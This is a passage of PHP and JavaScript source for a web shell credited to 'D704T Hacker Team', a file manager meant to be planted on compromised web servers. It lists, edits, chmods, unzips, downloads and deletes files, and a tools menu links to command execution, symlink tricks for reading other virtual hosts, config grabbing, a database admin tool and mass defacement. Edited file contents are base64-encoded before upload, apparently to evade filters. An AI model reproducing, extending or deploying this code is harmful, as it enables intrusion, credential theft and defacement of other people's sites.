                    $extractPath = $path . "/" . pathinfo($filePath, PATHINFO_FILENAME);
                    if (!is_dir($extractPath)) {
                        mkdir($extractPath);
                    }
                    $zip->extractTo($extractPath);
                    $zip->close();
                    flash("success", "File unzipped successfully!", $path . "/" . pathinfo($filePath, PATHINFO_FILENAME) . $toPage);
                } else {
                    flash("error", "Failed to unzip file!");
                }
            } else {
                flash("error", "File does not exist or is not readable!");
            }
        }
        /* END FILE ACTIONS */

/* FOLDER ACTIONS */
        if (isset($_GET["path"]) && @$_GET["action"] === "newfolder") {
            ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="folder_name" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">New Folder Name:</label>
                    <input type="text" id="folder_name" name="folder_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="newfolder">
                        Create folder
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["newfolder"])) {
                $folderName = $_POST["folder_name"];
                $folderPath = $path . "/" . $folderName;

if (mkdir($folderPath, 0777, true)) {
                    flash("success", "Folder created successfully!", $path . $toPage, $path . "/" . $folderName);
                } else {
                    flash("error", "Failed to create folder!");
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "renamefolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Rename Folder: <code><?= htmlspecialchars($_GET["folder"]); ?></code></h2>
                        <input type="text" name="new_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= htmlspecialchars($_GET["folder"]); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="renamefolder">
                            Rename Folder
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["renamefolder"])) {
                    $newName = $_POST["new_name"];
                    $newPath = $path . "/" . $newName;

if (rename($folderPath, $newPath)) {
                        flash("success", "Folder renamed successfully!");
                    } else {
                        flash("error", "Failed to rename folder!");
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Chmod Folder: <code><?= htmlspecialchars($_GET["folder"]); ?></code></h2>
                        <input type="text" name="new_perms" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= substr(sprintf('%o', @fileperms($folderPath)), -4); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="chmodfolder">
                            Change Permission
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["chmodfolder"])) {
                    $newPerms = intval($_POST["new_perms"], 8);

if (chmod($folderPath, $newPerms)) {
                        flash("success", "Successfully changed permission!", $path . "&folder=" . $_GET["folder"] . "&action=chmodfolder" . $toPage);
                    } else {
                        flash("error", "Failed to change permission!");
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>
        <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["folder"])) {
            $folderPath = $path . "/" . $_GET["folder"];
            if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
                if (deleteFolder($folderPath)) {
                    flash("success", "Folder deleted successfully!");
                } else {
                    flash("error", "Failed to delete folder!");
                }
            } else {
                echo "<div class='mt-4 text-red-600 font-medium'>Folder does not exist or is not writable.</div>";
            }
        }
        /* END FOLDER ACTIONS */
        ?>

<?php if (!isset($_GET["action"])): ?>
            <div class="flex mt-5">
                <a class="flex gap-x-1 item-center text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400 p-3 rounded-tl-lg br-8 hover:scale-110 transition-transform duration-300 ease-in-out" href="?path=<?= $path; ?>&action=newfile">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                        <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 12h14m-7 7V5" />
                    </svg>
                    <span>FILE</span>
                </a>
                <a class="flex gap-x-1 item-center text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400 p-3 hover:scale-110 transition-transform duration-300 ease-in-out" href="?path=<?= $path; ?>&action=newfolder">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                        <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 12h14m-7 7V5" />
                    </svg>
                    <span>DIR</span>
                </a>
                <button type="button" id="showTools" class="flex gap-x-1 item-center text-gray-700 uppercase bg-gray-50 shadow-md dark:bg-gray-700 dark:text-gray-400 p-3 rounded-tr-lg bl-8 hover:scale-110 transition-transform duration-300 ease-in-out" href="?path=<?= $path; ?>&action=newfolder">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                        <path stroke="currentColor" stroke-linejoin="round" stroke-width="2" d="M7.58209 8.96025 9.8136 11.1917l-1.61782 1.6178c-1.08305-.1811-2.23623.1454-3.07364.9828-1.1208 1.1208-1.32697 2.8069-.62368 4.1363.14842.2806.42122.474.73509.5213.06726.0101.1347.0133.20136.0098-.00351.0666-.00036.1341.00977.2013.04724.3139.24069.5867.52125.7351 1.32944.7033 3.01552.4971 4.13627-.6237.8375-.8374 1.1639-1.9906.9829-3.0736l4.8107-4.8108c1.0831.1811 2.2363-.1454 3.0737-.9828 1.1208-1.1208 1.3269-2.80688.6237-4.13632-.1485-.28056-.4213-.474-.7351-.52125-.0673-.01012-.1347-.01327-.2014-.00977.0035-.06666.0004-.13409-.0098-.20136-.0472-.31386-.2406-.58666-.5212-.73508-1.3294-.70329-3.0155-.49713-4.1363.62367-.8374.83741-1.1639 1.9906-.9828 3.07365l-1.7788 1.77875-2.23152-2.23148-1.41419 1.41424Zm1.31056-3.1394c-.04235-.32684-.24303-.61183-.53647-.76186l-1.98183-1.0133c-.38619-.19746-.85564-.12345-1.16234.18326l-.86321.8632c-.3067.3067-.38072.77616-.18326 1.16235l1.0133 1.98182c.15004.29345.43503.49412.76187.53647l1.1127.14418c.3076.03985.61628-.06528.8356-.28461l.86321-.8632c.21932-.21932.32446-.52801.2846-.83561l-.14417-1.1127ZM19.4448 16.4052l-3.1186-3.1187c-.7811-.781-2.0474-.781-2.8285 0l-.1719.172c-.7811.781-.7811 2.0474 0 2.8284l3.1186 3.1187c.7811.781 2.0474.781 2.8285 0l.1719-.172c.7811-.781.7811-2.0474 0-2.8284Z" />
                    </svg>
                    <span>TOOLS</span>
                </button>
            </div>

<div id="toolsDisplay" class="hidden rounded-tr-lg bl-8 text-gray-700 bg-gray-50 dark:bg-gray-700 dark:text-gray-400 px-3 py-5">
                
                <div class="flex justify-center flex-wrap gap-y-2 gap-x-1 w-full max-w-xl mx-auto">
                    <a href="?path=<?= $path; ?>&action=command<?= $toPage ?>" class="text-white bg-gradient-to-r from-blue-500 via-blue-600 to-blue-700 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-blue-300 dark:focus:ring-blue-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        COMMAND
                    </a>
                    <a href="?path=<?= $path; ?>&action=b64decode<?= $toPage ?>" class="text-white bg-gradient-to-r from-green-400 via-green-500 to-green-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-green-300 dark:focus:ring-green-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        BASE64 DECODE
                    </a>
                    <a href="?path=<?= $path; ?>&action=b64encode<?= $toPage ?>" class="text-white bg-gradient-to-r from-cyan-400 via-cyan-500 to-cyan-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-cyan-300 dark:focus:ring-cyan-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        BASE64 ENCODE
                    </a>
                    <a href="?path=<?= $path; ?>&action=symvhosts<?= $toPage ?>" class="text-white bg-gradient-to-r from-teal-400 via-teal-500 to-teal-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-teal-300 dark:focus:ring-teal-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        SYMLINK VHOSTS
                    </a>
                    <a href="?path=<?= $path; ?>&action=sym403<?= $toPage ?>" class="text-white bg-gradient-to-r from-purple-500 via-purple-600 to-purple-700 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-purple-300 dark:focus:ring-purple-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        SYMLINK 403
                    </a>
                    <a href="?path=<?= $path; ?>&action=grabconfig<?= $toPage ?>" class="text-white bg-gradient-to-r from-red-400 via-red-500 to-red-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-red-300 dark:focus:ring-red-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        GRAB CONFIG
                    </a>
                    <a href="?path=<?= $path; ?>&action=adminer<?= $toPage ?>" class="text-white bg-gradient-to-r from-cyan-400 via-cyan-500 to-cyan-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-cyan-300 dark:focus:ring-cyan-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        ADMINER
                    </a>
                    <a href="?path=<?= $path; ?>&action=massdeface<?= $toPage ?>" class="text-white bg-gradient-to-r from-pink-400 via-pink-500 to-pink-600 hover:bg-gradient-to-br focus:ring-4 focus:outline-none focus:ring-pink-300 dark:focus:ring-pink-800 font-medium rounded-lg text-sm px-5 py-2.5 text-center me-2 mb-2">
                        MASS DEFACE
                    </a>
                </div>
            </div>

<div class="relative overflow-x-auto shadow-lg rounded-br-lg rounded-bl-lg rounded-tr-lg">
                <?php if (@is_readable($path)): ?>
                    <table class="w-full text-sm text-left rtl:text-right text-gray-500 dark:text-gray-400">
                        <thead class="text-xs text-gray-700 uppercase bg-gray-50 dark:bg-gray-700 dark:text-gray-400">
                            <tr>
                                <th class="px-6 py-3">Name</th>
                                <th class="px-6 py-3">Size</th>
                                <th class="px-6 py-3">Owner/Group</th>
                                <th class="px-6 py-3">Last Modified</th>
                                <th class="px-6 py-3">Permission</th>
                                <th class="px-6 py-3">Action</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $itemsPerPage = 70;

// Get all items
                            $allItems = scandir($path);
                            $allItems = array_diff($allItems, ['.', '..']);

// Apply search filter
                            if ($search !== '') {
                                $allItems = array_filter($allItems, function ($item) use ($search) {
                                    return strpos(strtolower($item), $search) !== false;
                                });
                            }

$allItems = array_values($allItems); // reindex

// Separate folders and files
                            $folders = [];
                            $files = [];
                            foreach ($allItems as $item) {
                                if (is_dir($path . DIRECTORY_SEPARATOR . $item)) {
                                    $folders[] = $item;
                                } else {
                                    $files[] = $item;
                                }
                            }

// Merge with folders first
                            $sortedItems = array_merge($folders, $files);

// Pagination
                            $totalItems = count($sortedItems);
                            $totalPages = @ceil($totalItems / $itemsPerPage);
                            $page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;
                            $offset = ($page - 1) * $itemsPerPage;
                            $pagedItems = array_slice($sortedItems, $offset, $itemsPerPage);

if (empty($pagedItems)) {
                                echo "<tr><td colspan='6' class='px-6 py-4 text-center text-gray-500 dark:text-gray-400'>No matching files or folders found.</td></tr>";
                            }

// Folders
                            foreach ($pagedItems as $folder) {
                                if (is_file($path . DIRECTORY_SEPARATOR . $folder)) continue;
                                $folderPath = $path . "/" . $folder;
                                $folderPerms = substr(sprintf('%o', @fileperms($folderPath)), -4);
                            ?>
                                <tr class='bg-white border-b dark:bg-gray-800 dark:border-gray-700 hover:bg-gray-50 shadow-md dark:hover:bg-gray-600'>
                                    <td class='px-6 py-4 font-medium text-gray-900 whitespace-nowrap dark:text-white'>
                                        <a class="flex items-center gap-x-1" href="?path=<?= $path . DIRECTORY_SEPARATOR . $folder; ?>&search=<?= $search ?>">
                                            <svg class="w-6 h-6 text-yellow-500 dark:text-yellow-400" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24">
                                                <path fill-rule="evenodd" d="M3 6a2 2 0 0 1 2-2h5.532a2 2 0 0 1 1.536.72l1.9 2.28H3V6Zm0 3v10a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V9H3Z" clip-rule="evenodd" />
                                            </svg>
                                            <span><?= htmlspecialchars($folder); ?></span>
                                        </a>
                                    </td>
                                    <td class='px-6 py-4 font-medium'>---</td>
                                    <td class='px-6 py-4 font-medium whitespace-nowrap'><?= gor($folderPath); ?>/<?= ggr($folderPath); ?></td>
                                    <td id='chdate' data-item-path='<?= $folder ?>' class='px-6 py-4 font-medium whitespace-nowrap'><?= filedate($folderPath); ?></td>
                                    <td class='px-6 py-4 font-medium <?= is_writable($folderPath) ? "text-green-500 dark:text-green-400" : "text-red-500 dark:text-red-400"; ?>'><?= $folderPerms; ?></td>
                                    <td class='px-6 py-4 flex gap-x-1'>
                                        <a href="?path=<?= $path ?>&folder=<?= $folder ?>&action=renamefolder<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.779 17.779 4.36 19.918 6.5 13.5m4.279 4.279 8.364-8.643a3.027 3.027 0 0 0-2.14-5.165 3.03 3.03 0 0 0-2.14.886L6.5 13.5m4.279 4.279L6.499 13.5m2.14 2.14 6.213-6.504M12.75 7.04 17 11.28" />
                                            </svg>
                                        </a>
                                        <a href="?path=<?= $path ?>&folder=<?= $folder ?>&action=chmodfolder<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 8v8m0-8h8M8 8H6a2 2 0 1 1 2-2v2Zm0 8h8m-8 0H6a2 2 0 1 0 2 2v-2Zm8 0V8m0 8h2a2 2 0 1 1-2 2v-2Zm0-8h2a2 2 0 1 0-2-2v2Z" />
                                            </svg>
                                        </a>
                                        <a href="?path=<?= $path ?>&folder=<?= $folder ?>&action=deletefolder<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                                <path fill-rule="evenodd" d="M8.586 2.586A2 2 0 0 1 10 2h4a2 2 0 0 1 2 2v2h3a1 1 0 1 1 0 2v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V8a1 1 0 0 1 0-2h3V4a2 2 0 0 1 .586-1.414ZM10 6h4V4h-4v2Zm1 4a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Zm4 0a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Z" clip-rule="evenodd" />
                                            </svg>
                                        </a>
                                    </td>
                                </tr>
                            <?php
                            }

// Files
                            foreach ($pagedItems as $file) {
                                if (is_dir($path . DIRECTORY_SEPARATOR . $file)) continue;
                                $filePath = $path . "/" . $file;
                                $fileSize = @filesize($filePath);
                                $filePerms = substr(sprintf('%o', @fileperms($filePath)), -4);
                            ?>
                                <tr class='bg-white border-b dark:bg-gray-800 dark:border-gray-700 hover:bg-gray-50 shadow-md dark:hover:bg-gray-600'>
                                    <td class='px-6 py-4 font-medium text-gray-900 whitespace-nowrap dark:text-white'>
                                        <a class="flex items-center gap-x-1" href="?path=<?= $path ?>&file=<?= $file ?>&action=view&search=<?= $search . $toPage ?>">
                                            <svg class="w-6 h-6 text-blue-400 dark:text-blue-300" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 24 24">
                                                <path fill-rule="evenodd" d="M9 2.221V7H4.221a2 2 0 0 1 .365-.5L8.5 2.586A2 2 0 0 1 9 2.22ZM11 2v5a2 2 0 0 1-2 2H4v11a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-7Z" clip-rule="evenodd" />
                                            </svg>
                                            <span><?= htmlspecialchars($file); ?></span>
                                        </a>
                                    </td>
                                    <td class='px-6 py-4 font-medium whitespace-nowrap'><?= $fileSize ?> bytes</td>
                                    <td class='px-6 py-4 font-medium whitespace-nowrap'><?= gor($filePath); ?>/<?= ggr($filePath); ?></td>
                                    <td id='chdate' data-item-path='<?= $file ?>' class='px-6 py-4 font-medium whitespace-nowrap'><?= filedate($filePath); ?></td>
                                    <td class='px-6 py-4 font-medium <?= is_writable($filePath) ? "text-green-500 dark:text-green-400" : "text-red-500 dark:text-red-400"; ?>'><?= $filePerms; ?></td>
                                    <td class='px-6 py-4 flex gap-x-1'>
                                        <a href="?path=<?= $path ?>&file=<?= $file ?>&action=edit<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                                <path fill-rule="evenodd" d="M11.32 6.176H5c-1.105 0-2 .949-2 2.118v10.588C3 20.052 3.895 21 5 21h11c1.105 0 2-.948 2-2.118v-7.75l-3.914 4.144A2.46 2.46 0 0 1 12.81 16l-2.681.568c-1.75.37-3.292-1.263-2.942-3.115l.536-2.839c.097-.512.335-.983.684-1.352l2.914-3.086Z" clip-rule="evenodd" />
                                                <path fill-rule="evenodd" d="M19.846 4.318a2.148 2.148 0 0 0-.437-.692 2.014 2.014 0 0 0-.654-.463 1.92 1.92 0 0 0-1.544 0 2.014 2.014 0 0 0-.654.463l-.546.578 2.852 3.02.546-.579a2.14 2.14 0 0 0 .437-.692 2.244 2.244 0 0 0 0-1.635ZM17.45 8.721 14.597 5.7 9.82 10.76a.54.54 0 0 0-.137.27l-.536 2.84c-.07.37.239.696.588.622l2.682-.567a.492.492 0 0 0 .255-.145l4.778-5.06Z" clip-rule="evenodd" />
                                            </svg>
                                        </a>
                                        <?php if (isZip($filePath)): ?>
                                            <a href="?path=<?= $path; ?>&file=<?= $file; ?>&action=unzip<?= $toPage ?>">
                                                <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                                    <path fill-rule="evenodd" d="M9 2.221V7H4.221a2 2 0 0 1 .365-.5L8.5 2.586A2 2 0 0 1 9 2.22ZM11 2v5a2 2 0 0 1-2 2H4v11a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-7Zm3 2h2.01v2.01h-2V8h2v2.01h-2V12h2v2.01h-2V16h2v2.01h-2v2H12V18h2v-1.99h-2V14h2v-1.99h-2V10h2V8.01h-2V6h2V4Z" clip-rule="evenodd" />
                                                </svg>
                                            </a>
                                        <?php else: ?>
                                            <a href="#">
                                                <svg class="w-6 h-6 text-gray-800 dark:text-white opacity-50" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                                    <path fill-rule="evenodd" d="M9 2.221V7H4.221a2 2 0 0 1 .365-.5L8.5 2.586A2 2 0 0 1 9 2.22ZM11 2v5a2 2 0 0 1-2 2H4v11a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-7Zm3 2h2.01v2.01h-2V8h2v2.01h-2V12h2v2.01h-2V16h2v2.01h-2v2H12V18h2v-1.99h-2V14h2v-1.99h-2V10h2V8.01h-2V6h2V4Z" clip-rule="evenodd" />
                                                </svg>
                                            </a>
                                        <?php endif; ?>
                                        <button onclick="postDownload('<?= addslashes($filePath) ?>')">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 15v2a3 3 0 0 0 3 3h10a3 3 0 0 0 3-3v-2m-8 1V4m0 12-4-4m4 4 4-4" />
                                            </svg>
                                        </button>
                                        <a href="?path=<?= $path ?>&file=<?= $file ?>&action=chmodfile<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 8v8m0-8h8M8 8H6a2 2 0 1 1 2-2v2Zm0 8h8m-8 0H6a2 2 0 1 0 2 2v-2Zm8 0V8m0 8h2a2 2 0 1 1-2 2v-2Zm0-8h2a2 2 0 1 0-2-2v2Z" />
                                            </svg>
                                        </a>
                                        <a href="?path=<?= $path ?>&file=<?= $file ?>&action=deletefile<?= $toPage ?>">
                                            <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                                <path fill-rule="evenodd" d="M8.586 2.586A2 2 0 0 1 10 2h4a2 2 0 0 1 2 2v2h3a1 1 0 1 1 0 2v12a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V8a1 1 0 0 1 0-2h3V4a2 2 0 0 1 .586-1.414ZM10 6h4V4h-4v2Zm1 4a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Zm4 0a1 1 0 1 0-2 0v8a1 1 0 1 0 2 0v-8Z" clip-rule="evenodd" />
                                            </svg>
                                        </a>
                                    </td>
                                </tr>
                            <?php
                            }
                            ?>
                        </tbody>
                    </table>
                <?php else: ?>
                    <div class="flex items-center justify-center w-full h-[150px] bg-gray-50 shadow-md dark:bg-gray-700">
                        <span class="text-center text-md text-gray-700 uppercase dark:text-gray-400">Directory Is NOT Readable</span>
                    </div>
                <?php endif; ?>
            </div>

<?php if (@is_readable($path)): ?>
                <div class="flex justify-center mt-4">
                    <?php if ($totalPages > 1): ?>
                        <nav aria-label="Page navigation">
                            <ul class="inline-flex space-x-1 text-sm">

<li>
                                    <?php if ($page > 1): ?>
                                        <a href="?path=<?= $path ?>&search=<?= $search ?>&page=<?= $page - 1 ?>"
                                            class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                               hover:bg-gray-100 hover:text-gray-700 
                               dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">
                                            <
                                                </a>
                                            <?php else: ?>
                                                <span class="flex items-center justify-center w-8 h-8 text-gray-400 bg-gray-200 border border-gray-300 rounded-lg 
                             dark:bg-gray-700 dark:border-gray-700 dark:text-gray-500">
                                                    <
                                                        </span>
                                                    <?php endif; ?>
                                </li>

<?php
                                $range = 1;
                                $ellipsisShownLeft = false;
                                $ellipsisShownRight = false;

for ($i = 1; $i <= $totalPages; $i++) {
                                    if ($i == 1 || $i == $totalPages || ($i >= $page - $range && $i <= $page + $range)) {
                                        if ($i == $page) {
                                            echo '<li>
                                <span class="flex items-center justify-center w-8 h-8 text-blue-600 border border-gray-300 bg-blue-50 
                                             dark:border-gray-700 dark:bg-gray-700 dark:text-white">'
                                                . $i .
                                                '</span>
                            </li>';
                                        } else {
                                            echo '<li>
                                <a href="?path=' . $path . '&search=' . $search . '&page=' . $i . '" 
                                   class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                                          hover:bg-gray-100 hover:text-gray-700 
                                          dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">'
                                                . $i .
                                                '</a>
                            </li>';
                                        }
                                    } else {
                                        if ($i < $page - $range && !$ellipsisShownLeft) {
                                            echo '<li><span class="flex items-center justify-center w-8 h-8">...</span></li>';
                                            $ellipsisShownLeft = true;
                                        }
                                        if ($i > $page + $range && !$ellipsisShownRight) {
                                            echo '<li><span class="flex items-center justify-center w-8 h-8">...</span></li>';
                                            $ellipsisShownRight = true;
                                        }
                                    }
                                }
                                ?>

<li>
                                    <?php if ($page < $totalPages): ?>
                                        <a href="?path=<?= $path ?>&search=<?= $search ?>&page=<?= $page + 1 ?>"
                                            class="flex items-center justify-center w-8 h-8 text-gray-500 bg-white border border-gray-300 rounded-lg 
                               hover:bg-gray-100 hover:text-gray-700 
                               dark:bg-gray-800 dark:border-gray-700 dark:text-gray-400 dark:hover:bg-gray-700 dark:hover:text-white">
                                            >
                                        </a>
                                    <?php else: ?>
                                        <span class="flex items-center justify-center w-8 h-8 text-gray-400 bg-gray-200 border border-gray-300 rounded-lg 
                             dark:bg-gray-700 dark:border-gray-700 dark:text-gray-500">
                                            >
                                        </span>
                                    <?php endif; ?>
                                </li>

</ul>
                        </nav>
                    <?php endif; ?>
                </div>
            <?php endif; ?>
            
        <?php endif; ?>

<footer>
            <div class="mt-6 text-center text-gray-500 text-sm mb-2">
                <p><span class="text-blue-600">D704T Hacker Team</span></p><br>
        </footer>
    </div>

if (
            localStorage.getItem('color-theme') === 'dark' ||
            (!('color-theme' in localStorage) && window.matchMedia('(prefers-color-scheme: dark)').matches)
        ) {
            document.documentElement.classList.add('dark');
            themeToggleLightIcon.classList.remove('hidden');
            themeToggleDarkIcon.classList.add('hidden');
            lightText.classList.remove('hidden');
            darkText.classList.add('hidden');
        } else {
            document.documentElement.classList.remove('dark');
            themeToggleDarkIcon.classList.remove('hidden');
            themeToggleLightIcon.classList.add('hidden');
            lightText.classList.add('hidden');
            darkText.classList.remove('hidden');
        }

themeToggleBtn.addEventListener('click', function() {
            if (document.documentElement.classList.contains('dark')) {
                document.documentElement.classList.remove('dark');
                localStorage.setItem('color-theme', 'light');

themeToggleDarkIcon.classList.remove('hidden');
                themeToggleLightIcon.classList.add('hidden');

lightText.classList.add('hidden');
                darkText.classList.remove('hidden');
            } else {
                document.documentElement.classList.add('dark');
                localStorage.setItem('color-theme', 'dark');

themeToggleLightIcon.classList.remove('hidden');
                themeToggleDarkIcon.classList.add('hidden');

lightText.classList.remove('hidden');
                darkText.classList.add('hidden');
            }
        });

const edit_form = document.getElementById('handle_file');
        if (edit_form) {
            edit_form.addEventListener('submit', async (e) => {
                const filename = edit_form.querySelector('[type="text"]');
                const textarea = edit_form.querySelector('textarea');

if (filename) {
                    filename.value = filename.value + ".temporary";
                }

textarea.value = await largeBase64Encode(textarea.value);
            });
        }

async function largeBase64Encode(str) {
            const utf8 = new TextEncoder().encode(str);
            let binary = '';
            const chunkSize = 0x8000;
            for (let i = 0; i < utf8.length; i += chunkSize) {
                const chunk = utf8.subarray(i, i + chunkSize);
                binary += String.fromCharCode.apply(null, chunk);
            }
            return btoa(binary);
        }

const toolsBtn = document.getElementById('showTools');
        const toolsDisplay = document.getElementById('toolsDisplay');

toolsBtn.addEventListener('click', function() {
            toolsDisplay.classList.toggle('hidden');
        });

function showInfo() {
            const infoBox = document.getElementById('infoMethod');
            infoBox.classList.toggle('hidden');
        }

const dateElements = document.querySelectorAll('#chdate');
        dateElements.forEach(el => {
            const itemPath = el.getAttribute('data-item-path');
            el.addEventListener('dblclick', () => {
                window.location.href = `?path=<?= $path ?>&item=${itemPath}&action=changedate<?= $toPage ?>`;
            });

});

function postDownload(path) {
            const form = document.createElement('form');
            form.method = 'post';

const input = document.createElement('input');
            input.type = 'hidden';
            input.name = 'download';
            input.value = btoa(path);

form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
